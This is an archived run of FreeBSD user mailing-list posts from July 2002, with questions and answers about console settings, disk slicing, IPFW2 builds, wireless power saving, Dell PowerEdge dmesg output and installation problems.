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Date: Mon, 29 Jul 2002 12:08:56 +0100
From: Daniel Bye <dan@slightlystrange.org>
To: freebsd-questions@freebsd.org
Subject: Re: What is a "higher priority console" in regards to sio flag 0x20?
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On Sun, Jul 28, 2002 at 04:26:44PM -0700, Darren Pilgrim wrote:
> In LINT, there's an option flag for sio:
> 
> #       0x20    force this unit to be the console (unless there is another
> #               higher priority console).  This replaces the COMCONSOLE option.
> 
> What qualifies as a higher-priority console than sio1?  Is the vid/kbd
> console higher priority?  I want to set up a machine so that at boot
> it will automatically switch to a serial console when there's no
> keyboard plugged in.  Do I even need this flag to do this?

I haven't changed any settings in the kernel relating to consoles, so can't
answer that part of your question.  I simply have a /boot.config file 
containing exactly the string "-P", which forces the console to the serial 
line, if no keyboard is present.  It works just fine.  Take a look at 
man 8 boot for more details.

Dan

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From owner-freebsd-questions  Mon Jul 29  5: 3:17 2002
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From: "Ray Bagby" <rbagby@sbcglobal.net>
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Subject: gnumail, startup trouble
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Greetings,
I am running 4.5 and KDE2.
I installed gnumail by going to /usr/ports/mail/gnumail and commanding:

make install distclean

It went through the process with no apparent errors. I then left root and
started KDE with:

startx

I used the quick browser to find the gnumail application. The closest I
got to finding an application was in
/usr/local/GNUstep/Local/Applications/GNUMail.app/ix86/freebsd/gnu-gnu-gnu/
where I located GNUMail but it was not an application. When I quit the gui
and
tried the executable on the command line I received the error:

/usr/libexec/ld-elf.so.1: Shared object "libPantomime.so.1" not found

I checked to make sure Pantomime was installed by the gnumail installation
by
running pkg_info. pantomime-1.0.4 was installed.

I looked for documentation (man gnumail), nothing.
 I located a documentation directory at /usr/local/GNUstep/Local/  but it
was empty.

Is there some configuration I need to do? Is there a document somewhere?

Thanks
Ray


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From owner-freebsd-questions  Mon Jul 29  5: 6: 3 2002
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Date: Mon, 29 Jul 2002 05:05:59 -0700 (PDT)
From: Annelise Anderson <andrsn@andrsn.stanford.edu>
To: =?iso-8859-1?q?Oliver=20Humpage?= <suzt_78@yahoo.co.uk>
Cc: freebsd-questions@FreeBSD.ORG, oliver@watershed.co.uk
Subject: Re: formatting 'unused space'
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On Mon, 29 Jul 2002, Oliver Humpage wrote:

> 
> Sorry, this is an embarrassingly newbie question...
> 
> A 20GB disk in my mail server was about to die, so I
> did an emergency dd(1) of its contents over to a new
> 40GB drive. So now, on the new drive, I have a 20GB
> partition (with /, /usr and /var on it), and 20GB of
> "unused" space.
> 
> Is it possible to fdisk (and presumably disklabel)
> this spare 20GB? I don't want to do anything fancy
> with it, just to have it mounted as /spare_space or
> similar. And since this is our main mail server, I
> don't really want to wipe the whole disk and restore
> from tape...
> 
> I couldn't tell from `man fdisk` whether you can
> format one partition without wiping the whole drive.
> Can you in fact just ask for the unused space to be
> "FreeBSD" in sysinstall, and it won't touch your other
> partitions? Or if fdisk won't do it, is there anything
> that can?
> 
Yes, you can create a slice (dos partition) in what  
space, subject to the limitation of four slices per drive.
You can then make up to eight partitions on the slice for
different file systems.

You could create a /usr/local file system; or a /usr/ports;
and/or a /usr/obj; or move tmp there will a symlink; or
just stash stuff like old kernels or isos.  Often people make
/home a separate partition.

If you're careful and don't delete what exists, you should 
not have any trouble overwriting what's already on the disk.

	Annelise


-- 
Annelise Anderson
Author of: 		 FreeBSD: An Open-Source Operating System for Your PC
Available from:	 BSDmall.com and amazon.com
Book Website:    http://www.bittreepress.com/FreeBSD/introbook/	




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From owner-freebsd-questions  Mon Jul 29  5:10:36 2002
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Date: Mon, 29 Jul 2002 14:10:30 +0200 (CEST)
From: "Hartmann, O." <ohartman@klima.physik.uni-mainz.de>
To: freebsd-questions@freebsd.org
Subject: IPF2 Code use in PICOBSD
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Dear Sirs.

We would like to test the new IPFW2 code in PICOBSD and for that
there is the unaswered question od how to force the build process
of PICOBSD to build the ipfw2 code.

Can anyone give tips and hints? I tried at several stages with make -DIPFW2,
but not knowing exactly how PICOBSD is build this seems a senseless task.

Thanks in advance,

O. Hartmann

--
MfG
O. Hartmann

ohartman@klima.physik.uni-mainz.de
------------------------------------------------------------------
IT-Administration des Institutes fuer Physik der Atmosphaere (IPA)
------------------------------------------------------------------
Johannes Gutenberg Universitaet Mainz
Becherweg 21
55099 Mainz

Tel: +496131/3924662 (Maschinenraum)
Tel: +496131/3924144 (Buero)
FAX: +496131/3923532


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From owner-freebsd-questions  Mon Jul 29  5:17:41 2002
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References: <20020728123002.C1068-100000@lethargic.dyndns.org>
Subject: Mod Perl & Apache
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How can you tell if you have mod_perl installed on your system? I installed
Apache from ports. I have writen viusal basic asp pages before and am under
the impression that Apache only run's perl cgi pages? Just some general
questions, don't know exactly what to look up. What I want to do is write
asp pages with form's ect from the online references. But I can only find
perl material for apache. If I have to write it in perl that fine.


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From owner-freebsd-questions  Mon Jul 29  5:32:18 2002
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From: "Joe & Fhe Barbish" <barbish@a1poweruser.com>
To: "Hartmann, O." <ohartman@klima.physik.uni-mainz.de>
Cc: "FBSDQ" <questions@FreeBSD.ORG>
Subject: RE: IPF2 Code use in PICOBSD
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Sorry I can not answer your question, But your question about IPFW2 sure
caught my interest.
What is IPFW2? Is this a new version of IPFW or a version just for PICOBSD?
Can you point me to info about IPFW2?

-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Hartmann, O.
Sent: Monday, July 29, 2002 8:11 AM
To: freebsd-questions@freebsd.org
Subject: IPF2 Code use in PICOBSD

Dear Sirs.

We would like to test the new IPFW2 code in PICOBSD and for that
there is the unaswered question od how to force the build process
of PICOBSD to build the ipfw2 code.

Can anyone give tips and hints? I tried at several stages with make -DIPFW2,
but not knowing exactly how PICOBSD is build this seems a senseless task.

Thanks in advance,

O. Hartmann

--
MfG
O. Hartmann

ohartman@klima.physik.uni-mainz.de
------------------------------------------------------------------
IT-Administration des Institutes fuer Physik der Atmosphaere (IPA)
------------------------------------------------------------------
Johannes Gutenberg Universitaet Mainz
Becherweg 21
55099 Mainz

Tel: +496131/3924662 (Maschinenraum)
Tel: +496131/3924144 (Buero)
FAX: +496131/3923532


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From owner-freebsd-questions  Mon Jul 29  5:38:20 2002
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From: "Hartmann, O." <ohartman@klima.physik.uni-mainz.de>
To: Joe & Fhe Barbish <barbish@a1poweruser.com>
Cc: FBSDQ <questions@FreeBSD.ORG>
Subject: RE: IPF2 Code use in PICOBSD
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On Mon, 29 Jul 2002, Joe & Fhe Barbish wrote:

The IPFW2 code has been introduced by its vendor, Luigi (?) and its now
part of the cvsupdated sources - but not activated for standard and stable
compilation. You must activate this piece of code by changing into your
source tree and compile libalias and ipfw with the make option -DIPFW2
to get the new code compiled and you __must__ activate the ipfw2-kernel code
by adding the option options	IPFW2 into your kernel config file.:


cd /usr/src/lib/libalias
make clean && make -DIPFW2 all && make -DIPFW2 install

cd /usr/src/sbin/ipfw
make clean && make -DIPFW2 all && make -DIPFW2 install

and add kernel option as decribed above and build a new kernel.

The new IPFW2 code is for test purposes only - but it works on all machines
'in production' at our department without problems - it works slightly faster
than the old code, but all traffic runs through a filtering PICOBSD bridge
and therefore the benefits of the code are the visible, when we switch to the
new code on PICOBSD ...

:>Sorry I can not answer your question, But your question about IPFW2 sure
:>caught my interest.
:>What is IPFW2? Is this a new version of IPFW or a version just for PICOBSD?
:>Can you point me to info about IPFW2?
:>
:>-----Original Message-----
:>From: owner-freebsd-questions@FreeBSD.ORG
:>[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Hartmann, O.
:>Sent: Monday, July 29, 2002 8:11 AM
:>To: freebsd-questions@freebsd.org
:>Subject: IPF2 Code use in PICOBSD
:>
:>Dear Sirs.
:>
:>We would like to test the new IPFW2 code in PICOBSD and for that
:>there is the unaswered question od how to force the build process
:>of PICOBSD to build the ipfw2 code.
:>
:>Can anyone give tips and hints? I tried at several stages with make -DIPFW2,
:>but not knowing exactly how PICOBSD is build this seems a senseless task.
:>
:>Thanks in advance,
:>
:>O. Hartmann
:>
:>--
:>MfG
:>O. Hartmann
:>
:>ohartman@klima.physik.uni-mainz.de
:>------------------------------------------------------------------
:>IT-Administration des Institutes fuer Physik der Atmosphaere (IPA)
:>------------------------------------------------------------------
:>Johannes Gutenberg Universitaet Mainz
:>Becherweg 21
:>55099 Mainz
:>
:>Tel: +496131/3924662 (Maschinenraum)
:>Tel: +496131/3924144 (Buero)
:>FAX: +496131/3923532
:>
:>
:>To Unsubscribe: send mail to majordomo@FreeBSD.org
:>with "unsubscribe freebsd-questions" in the body of the message
:>
:>

--
MfG
O. Hartmann

ohartman@klima.physik.uni-mainz.de
------------------------------------------------------------------
IT-Administration des Institutes fuer Physik der Atmosphaere (IPA)
------------------------------------------------------------------
Johannes Gutenberg Universitaet Mainz
Becherweg 21
55099 Mainz

Tel: +496131/3924662 (Maschinenraum)
Tel: +496131/3924144 (Buero)
FAX: +496131/3923532


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From owner-freebsd-questions  Mon Jul 29  5:43:14 2002
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Date: Mon, 29 Jul 2002 13:43:08 +0100 (BST)
From: =?iso-8859-1?q?shubha=20mr?= <shubha_mr@yahoo.com>
Subject: VLAN -ID
To: net@freebsd.org
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Hi,

I implemented VLAN for my network driver.How do I
print out the vlan tag so that I can verify if the
switch is inserting the right ID?.I tried printing out
ifv_tag of ifv data structure but got some wierd
value!

Please help.

Thanks in advance
shubha



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From owner-freebsd-questions  Mon Jul 29  5:43:19 2002
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To: Dan Pelleg <daniel+bsd@pelleg.org>
Cc: freebsd-mobile@freebsd.org, freebsd-questions@freebsd.org
Subject: Re: Thinkpad overheating when talking to a D-Link wireless AP
References: <15666.52258.20053.339128@gs166.sp.cs.cmu.edu>
From: Greg Troxel <gdt@ir.bbn.com>
Date: 29 Jul 2002 08:43:06 -0400
In-Reply-To: Dan Pelleg's message of "Mon, 15 Jul 2002 09:20:34 -0400"
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The 802.11 specification (now freely available, but a bit hard to read
- so I may be slightly off in terminology here since I don't have it
handy) describes several ways an access point can operate.  All of
these are part of "BSS" mode and I believe are typically handled in
firmware without the knowledge of the driver.

The most basic is the Distributed Coordination Function (DCF), in
which a station (STA) transmits frames to the AP after performing
Clear Channel Assessment (basically listen for below-threshold energy
in the channel).  There are randomized backoffs for retransmission.
This is basically a contention mechanism.

Then, there is the Point Coordination Function (PCF), where the AP
controls who gets to transmit.  This is either associatied with or
implemented by the "Contention-Free Period", where the AP controls who
transmits.  Basically the AP sends a packet to a station and lets the
station send a reply packet with the ack.  The AP can also poll
stations to see if they have traffic.  So an AP could run in a mode
where most of the time is PCF, which can get much higher channel
usage.

This all interacts with power saving, which can work with both modes.
(getting fuzzier) There is an announcement period where stations
indicate that they have traffic (or the AP says what STAs it has
traffic for), followed by time to exchange traffic.  This enables a
STA to shut down its receiver if the announcement traffic (from the
AP) told it that there was no traffic for it.  APs never shut down.  I
am pretty sure this works in both DCF and PCF.  This is the basis of
power saving mode - a STA informs the AP on association that it wants
to be able to go into doze mode, and wakes up to hear the beacons from
the AP.  If there is no traffic for that STA, it goes back to sleep
until the next beacon.  I think the interval is on the order of
multiple tens of milliseconds, and that this is an AP configurable
value (in theory; not sure about particular APs).

So, I would wonder if that AP either does not implement power-saving
mode (I believe this is not optional, but I don't remember), or if it
is configured off.  Is your card in power-save mode, and does it get
hot with the Lucent aps if you turn power-save mode off?

If you really want to understand this, I recommend that you read the
802.11 spec (802.11b is just a 'Higher-rate PHY in the 2.4 GHz band' -
the stuff above is in the base 802.11 document), but be warned that it
is not easy reading.
Then, try the dachd0den labs prism2dump, or get tcpdump.org tcpdump to
decode 802.11 management frames, so you can see what's going on.

        Greg Troxel <gdt@ir.bbn.com>

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From owner-freebsd-questions  Mon Jul 29  5:50:29 2002
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Date: Mon, 29 Jul 2002 08:51:02 -0400
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From: John Chang <johnec@umich.edu>
Subject: Dell PowerEdge
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Anyone tried installing FreeBSD on a dell PowerEdge server?

Is there any hardware monitoring software like the ones that come with the 
Dell servers if you install Redhat or Win2k?  Thank you


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From: Brian Minder <bmm@minder.net>
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On Mon, Jul 29, 2002 at 08:51:02AM -0400, John Chang wrote:
> Anyone tried installing FreeBSD on a dell PowerEdge server?

I have 4.6.1 running on the PE350 and the PE1650.  dmesg's are below.
The only odd thing I've noticed is that the disk on the 350 is detected
as UDMA33 where it should be UDMA100.

> Is there any hardware monitoring software like the ones that come with the 
> Dell servers if you install Redhat or Win2k?  Thank you

Can't speak to this.

-- 
bmm@minder.net                                                1024/8C7C4DE9



PowerEdge 350:

FreeBSD 4.6.1-RELEASE #0: Fri Jul 26 09:57:13 EDT 2002
    root@skippy.qedinfo.com:/usr/obj/usr/src/sys/SKIPPY
Timecounter "i8254"  frequency 1193182 Hz
CPU: Pentium III/Pentium III Xeon/Celeron (1002.28-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x68a  Stepping = 10
  Features=0x383f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE>
real memory  = 536608768 (524032K bytes)
avail memory = 517189632 (505068K bytes)
Preloaded elf kernel "kernel" at 0xc04d0000.
Pentium Pro MTRR support enabled
md0: Malloc disk
Using $PIR table, 7 entries at 0xc00f2a80
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Intel 82443BX host to PCI bridge (AGP disabled)> on motherboard
pci0: <PCI bus> on pcib0
isab0: <Intel 82371AB PCI to ISA bridge> at device 7.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <Intel PIIX4 ATA33 controller> port 0xffa0-0xffaf at device 7.1 on pci0
ata0: at 0x1f0 irq 14 on atapci0
ata1: at 0x170 irq 15 on atapci0
uhci0: <Intel 82371AB/EB (PIIX4) USB controller> port 0xef80-0xef9f irq 10 at device 7.2 on pci0
usb0: <Intel 82371AB/EB (PIIX4) USB controller> on uhci0
usb0: USB revision 1.0
uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
chip1: <Intel 82371AB Power management controller> port 0x440-0x44f at device 7.3 on pci0
fxp0: <Intel Pro 10/100B/100+ Ethernet> port 0xef00-0xef3f mem 0xfea00000-0xfeafffff,0xfebfb000-0xfebfbfff irq 5 at device 12.0 on pci0
fxp0: Ethernet address 00:02:b3:ba:03:64
inphy0: <i82555 10/100 media interface> on miibus0
inphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
fxp1: <Intel Pro 10/100B/100+ Ethernet> port 0xee80-0xeebf mem 0xfe800000-0xfe8fffff,0xfebfa000-0xfebfafff irq 5 at device 13.0 on pci0
fxp1: Ethernet address 00:02:b3:ba:03:65
inphy1: <i82555 10/100 media interface> on miibus1
inphy1:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
pci0: <ATI Mach64-GR graphics accelerator> at 15.0 irq 11
orm0: <Option ROMs> at iomem 0xc0000-0xc7fff,0xc8000-0xc97ff,0xc9800-0xcafff on isa0
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
ppc0: parallel port not found.
ata1-slave: ATAPI identify retries exceeded
ad0: 19073MB <WDC WD200BB-18CAA0> [38752/16/63] at ata0-master UDMA33
acd0: CDROM <CD-224E> at ata1-master PIO4


PowerEdge 1650:

FreeBSD 4.6.1-RELEASE #0: Fri Jul 26 09:56:35 EDT 2002
    root@moscow.qedinfo.com:/usr/obj/usr/src/sys/MOSCOW
Timecounter "i8254"  frequency 1193182 Hz
CPU: Pentium III/Pentium III Xeon/Celeron (1396.45-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x6b1  Stepping = 1
  Features=0x383fbff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE>
real memory  = 536805376 (524224K bytes)
avail memory = 517382144 (505256K bytes)
Preloaded elf kernel "kernel" at 0xc04d0000.
Pentium Pro MTRR support enabled
md0: Malloc disk
Using $PIR table, 9 entries at 0xc00fc220
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib1: <ServerWorks host to PCI bridge> on motherboard
pci1: <PCI bus> on pcib1
em0: <Intel(R) PRO/1000 Network Connection, Version - 1.2.7> port 0xdce0-0xdcff mem 0xfeb40000-0xfeb5ffff,0xfeb60000-0xfeb7ffff irq 7 at device 2.0 on pci1
em0:  Speed:100 Mbps  Duplex:Half
em1: <Intel(R) PRO/1000 Network Connection, Version - 1.2.7> port 0xdcc0-0xdcdf mem 0xfeb00000-0xfeb1ffff,0xfeb20000-0xfeb3ffff irq 5 at device 4.0 on pci1
em1:  Speed:N/A  Duplex:N/A
ahc0: <Adaptec aic7899 Ultra160 SCSI adapter> port 0xd800-0xd8ff mem 0xfeb81000-0xfeb81fff irq 3 at device 6.0 on pci1
aic7899: Ultra160 Wide Channel A, SCSI Id=7, 32/253 SCBs
ahc1: <Adaptec aic7899 Ultra160 SCSI adapter> port 0xd400-0xd4ff mem 0xfeb80000-0xfeb80fff irq 7 at device 6.1 on pci1
aic7899: Ultra160 Wide Channel B, SCSI Id=7, 32/253 SCBs
pcib0: <ServerWorks host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
pci0: <ATI Mach64-GR graphics accelerator> at 12.0
atapci0: <ServerWorks CSB5 ATA100 controller> port 0x8b0-0x8bf,0x374-0x377,0x170-0x177,0x3f4-0x3f7,0x1f0-0x1f7 at device 15.1 on pci0
ata0: at 0x1f0 irq 14 on atapci0
ata1: at 0x170 irq 15 on atapci0
ohci0: <OHCI (generic) USB controller> mem 0xfe100000-0xfe100fff irq 11 at device 15.2 on pci0
usb0: OHCI version 1.0, legacy support
usb0: SMM does not respond, resetting
usb0: <OHCI (generic) USB controller> on ohci0
usb0: USB revision 1.0
uhub0: (unknown) OHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 4 ports with 4 removable, self powered
isab0: <PCI to ISA bridge (vendor=1166 device=0225)> at device 15.3 on pci0
isa0: <ISA bus> on isab0
pcib2: <ServerWorks host to PCI bridge> on motherboard
pci2: <PCI bus> on pcib2
pcib3: <ServerWorks host to PCI bridge> on motherboard
pci3: <PCI bus> on pcib3
pcib4: <Host to PCI bridge> on motherboard
pci4: <PCI bus> on pcib4
orm0: <Option ROMs> at iomem 0xc0000-0xc7fff,0xc8000-0xcdfff,0xec000-0xeffff on isa0
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1: configured irq 3 not in bitmap of probed irqs 0
ppc0: parallel port not found.
ata0-slave: ATAPI identify retries exceeded
acd0: CDROM <TEAC CD-ROM CD-224E> at ata0-master PIO4
Waiting 15 seconds for SCSI devices to settle
pass1 at ahc0 bus 0 target 6 lun 0
pass1: <PE/PV 1x3 SCSI BP 0.28> Fixed Processor SCSI-2 device 
pass1: 3.300MB/s transfers
da0 at ahc0 bus 0 target 0 lun 0
da0: <QUANTUM ATLAS10K3_18_SCA 120G> Fixed Direct Access SCSI-3 device 
da0: 160.000MB/s transfers (80.000MHz, offset 127, 16bit), Tagged Queueing Enabled
da0: 17366MB (35566478 512 byte sectors: 255H 63S/T 2213C)


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From owner-freebsd-questions  Mon Jul 29  6:15:16 2002
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From: "Paul Ket" <pket@wanadoo.nl>
To: freebsd-questions@FreeBSD.ORG
Date: Mon, 29 Jul 2002 15:17:15 +0200
MIME-Version: 1.0
Subject: installing 4.5 
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Hi,

As a newbie to non DOS/Win, i try to install freebsd 4.5 from floppy on an old 
486DX33 with 8MB ram (640+7,... MB). Available HD is apart from DOS 5,0 clean 
and empty. After the second floppy and selecting available hardware, i get an 
declaration of hardware in freebsd terms. It ends with

Mouting root from ufs:/dev/md0c
swap_pager_getswapspace: failed

then the system hangs.

What do i do wrong? Is installation with these minimal specs possible at all?

Yes, i tried with a differend floppy, just in case of disk-errors.

tia

Paul

Ook het voor de hand liggende moet verzonnen worden.
Even the obvious has to be made up.
===================================
Paul Ket
mail: pket@wanadoo.nl
mail->SMS: pket@sms.genie.nl
PGP
www.surf.to/noordoostpolder
===================================


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From owner-freebsd-questions  Mon Jul 29  6:19:12 2002
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From: Jerry McAllister <jerrymc@clunix.cl.msu.edu>
Message-Id: <200207291319.g6TDJ8m29270@clunix.cl.msu.edu>
Subject: Re: Dell PowerEdge
To: johnec@umich.edu (John Chang)
Date: Mon, 29 Jul 2002 09:19:08 -0400 (EDT)
Cc: freebsd-questions@FreeBSD.ORG
In-Reply-To: <4.3.2.7.2.20020729084900.01f30b18@j.imap.itd.umich.edu> from "John Chang" at Jul 29, 2002 08:51:02 AM
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> 
> Anyone tried installing FreeBSD on a dell PowerEdge server?

We have FreeBSd running on about 90 Dell Poweredge servers of various
sizes.   No problem for the most part.  Some hassle with DAT tape
drive timing on a few.

> Is there any hardware monitoring software like the ones that come with the 
> Dell servers if you install Redhat or Win2k?  Thank you

But, we have never tried any power monitoring unless you monitoring
the UPS.   That works.

////jerry

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Date: Mon, 29 Jul 2002 15:24:15 +0200
From: Erik Trulsson <ertr1013@student.uu.se>
To: Paul Ket <pket@wanadoo.nl>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: installing 4.5
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On Mon, Jul 29, 2002 at 03:17:15PM +0200, Paul Ket wrote:
> Hi,
> 
> As a newbie to non DOS/Win, i try to install freebsd 4.5 from floppy on an old 
> 486DX33 with 8MB ram (640+7,... MB). Available HD is apart from DOS 5,0 clean 
> and empty. After the second floppy and selecting available hardware, i get an 
> declaration of hardware in freebsd terms. It ends with
> 
> Mouting root from ufs:/dev/md0c
> swap_pager_getswapspace: failed
> 
> then the system hangs.
> 
> What do i do wrong? Is installation with these minimal specs possible at all?

No, it isn't.  Recent versions of FreeBSD (3.4 and later) require at
least 12 MB RAM (or possibly even 16 MB) to install.
You can run the system with only 8 MB RAM but you can't install it.


> Yes, i tried with a differend floppy, just in case of disk-errors.




-- 
<Insert your favourite quote here.>
Erik Trulsson
ertr1013@student.uu.se

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From owner-freebsd-questions  Mon Jul 29  6:27:31 2002
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Cc: suzt_78@yahoo.co.uk (=?iso-8859-1?q?Oliver=20Humpage?=),
	freebsd-questions@FreeBSD.ORG, oliver@watershed.co.uk
In-Reply-To: <Pine.BSF.4.10.10207290459240.16844-100000@andrsn.stanford.edu> from "Annelise Anderson" at Jul 29, 2002 05:05:59 AM
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> 
> On Mon, 29 Jul 2002, Oliver Humpage wrote:
> 
> > 
> > Sorry, this is an embarrassingly newbie question...
> > 
> > A 20GB disk in my mail server was about to die, so I
> > did an emergency dd(1) of its contents over to a new
> > 40GB drive. So now, on the new drive, I have a 20GB
> > partition (with /, /usr and /var on it), and 20GB of
> > "unused" space.
> > 
> > Is it possible to fdisk (and presumably disklabel)
> > this spare 20GB? I don't want to do anything fancy
> > with it, just to have it mounted as /spare_space or
> > similar. And since this is our main mail server, I
> > don't really want to wipe the whole disk and restore
> > from tape...
> > 
> > I couldn't tell from `man fdisk` whether you can
> > format one partition without wiping the whole drive.
> > Can you in fact just ask for the unused space to be
> > "FreeBSD" in sysinstall, and it won't touch your other
> > partitions? Or if fdisk won't do it, is there anything
> > that can?
> > 

Yes, as mentioned below, you can do this, but I would recommend making 
a good backup - using dump(8) on to some other media - tape, a spare 
disk, etc and starting the slicing and partitioning from scratch and 
then reload the stuff using restore(8).  There is much less chance for 
an error and really I don't have that much confidence that the slicing
and partitioning will keep it all clean.

////jerry

> Yes, you can create a slice (dos partition) in what  
> space, subject to the limitation of four slices per drive.
> You can then make up to eight partitions on the slice for
> different file systems.
> 
> You could create a /usr/local file system; or a /usr/ports;
> and/or a /usr/obj; or move tmp there will a symlink; or
> just stash stuff like old kernels or isos.  Often people make
> /home a separate partition.
> 
> If you're careful and don't delete what exists, you should 
> not have any trouble overwriting what's already on the disk.
> 
> 	Annelise
> 
> 
> -- 
> Annelise Anderson
> Author of: 		 FreeBSD: An Open-Source Operating System for Your PC
> Available from:	 BSDmall.com and amazon.com
> Book Website:    http://www.bittreepress.com/FreeBSD/introbook/	
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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From owner-freebsd-questions  Mon Jul 29  6:43:28 2002
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From: Jerry McAllister <jerrymc@clunix.cl.msu.edu>
Message-Id: <200207291343.g6TDhHt29376@clunix.cl.msu.edu>
Subject: Re: Hi ! would like to start a BSD group in Chennai,India !
To: alganesh@m-net.arbornet.org (Ganesh Kumar)
Date: Mon, 29 Jul 2002 09:43:16 -0400 (EDT)
Cc: freebsd-questions@FreeBSD.ORG
In-Reply-To: <200207290757.g6T7v7FI054650@m-net.arbornet.org> from "Ganesh Kumar" at Jul 29, 2002 03:57:07 AM
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Howdy

> Hi Folks,
>   I work as FreeBSD admin in a company in chennai,India and would like to 
> start a group here exclusively for FreeBSD.There are lots of groups exist,
> but they are all for Linux.

Good.

> Initially we have the latest Cds and would like to circulate among friends 
> and organise meetings on relgular intervals at later stage.

You may end up beoing more organized than anything on this side of the water.

> I would like to know a few things before that...
> 
> * For the mailing list is it a good idea to start with Yahoogroups ? or 
> can anyone suggest me a good list ?

I think most people/groups who start their own list in the FreeBSD world 
host the list themselves on their own machine running FreeBSD and using
Majordomo.   That way you have the greatest amount of discretion and
probably the best service.  But, make use of resources as you need.

> * Will the FreeBSD group point in.freebsd.org to our address at later stage ?
> 

That I can't answer. Maybe someone officially with the FreeBSd page will.

////jerry

> 
> regards
> Ganesh Kumar
> 

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From owner-freebsd-questions  Mon Jul 29  6:48:37 2002
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From: Jerry McAllister <jerrymc@clunix.cl.msu.edu>
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Subject: Re: Getting Involved
To: sfoster5@socal.rr.com (User)
Date: Mon, 29 Jul 2002 09:48:31 -0400 (EDT)
Cc: freebsd-questions@FreeBSD.ORG
In-Reply-To: <3D44DC73.1000704@socal.rr.com> from "User" at Jul 28, 2002 11:10:59 PM
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> 
> Hello:
> 
> I would like to know how do I get involved with FreeBSD Development?  

Learn a lot, create some new thing or a good patch that is needed.
Submit it to be looked at and commited.

It is really up to you.    There is some info on doing this on
the FreeBSD website.

////jerry
> 
> Thank you.
> 
> Scott
> 

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From owner-freebsd-questions  Mon Jul 29  7:24:37 2002
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To: Grant Cooper <grant.cooper@nucleus.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Mod Perl & Apache
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On Mon, Jul 29, 2002 at 06:20:14AM -0600, Grant Cooper wrote:
> How can you tell if you have mod_perl installed on your system? I installed
> Apache from ports. I have writen viusal basic asp pages before and am under
> the impression that Apache only run's perl cgi pages? Just some general
> questions, don't know exactly what to look up. What I want to do is write
> asp pages with form's ect from the online references. But I can only find
> perl material for apache. If I have to write it in perl that fine.

Actually CGI scripts can be written in any language as long as the
scripts or executables can be executed in a UNIX environment. I don't
know if there is any asp processor in ports, but you might be able to
easily convert your code to php.

As far as your other question is concerned, you can always run
pkg_version to see what you have installed. If you have portupgrade
installed you can substitute portversion for pkg_version.

Victor

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From owner-freebsd-questions  Mon Jul 29  7:38:51 2002
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From: Anton Roeckseisen <anton@bingo-ev.de>
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Hi,

I need a mechanism to check a pppoe-connection for availability. Of course
I could do it manually and send a ping every minute, but this could be
done by user-ppp itself I think.

"man 8 pppd" shows some options: lcp-echo-interval, lcp-echo-failure
These are exactly what I need.....

My question: Is this functionality of pppd(8) available in ppp(8), too?


Thanks,
	Anton




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From owner-freebsd-questions  Mon Jul 29  7:54:54 2002
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From: "Ian Barnes" <ian@cerebellum.za.net>
To: <questions@freebsd.org>
Subject: SysInstall Problem
Date: Mon, 29 Jul 2002 16:54:52 +0200
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Hi,

I am trying to install 4.5 on a 4gig hdd. I boot up using the CD, all goes
well, i get to the sysinstall main menu, and i carry on, i create
partitions, 4 of them, one for /, one for /var, one for /usr/home, and one
for swap (in that order). I then write the information, which all goes well.
The problem comes in when i try and write the label information. I set it up
as above.

The error i get is the one below:

<snip>
Unable to swap to /dev/ad0s4b: Device not configured
</snip>
I push enter, to get to the next error

<snip 2>
Unable to make new root filesystem on /dev/ad0s1a
Command returned status 1

</snip 2>

In the debug screen, i get :

<snip 3>
DEBUG: Scanning disk ad0 for root filesystem
DEBUG: Scanning disk ad0 for swap partitions
newfs: /dev/ad0s1a: 'a' partition is unavailable

</snip 3>

The hdd is fine, because just before i was gonna change it to bsd, i was
using it in doze ...

Any help would be great

Thanks
Ian

-------------------------
BOFH - Mom's Pharmacies
Email - ian@cerebellum.za.net
-------------------------


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From owner-freebsd-questions  Mon Jul 29  8: 6:11 2002
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From: =?iso-8859-1?q?Paul=20Jansen?= <vlaero@yahoo.com.au>
Subject: xfree and TV question
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I've seached all over the place for info on this but
haven't been able to find anything.

I have a SIS 6326 PCI card that has TV-out on it.  It
doesn't require any special drivers to use the TV out
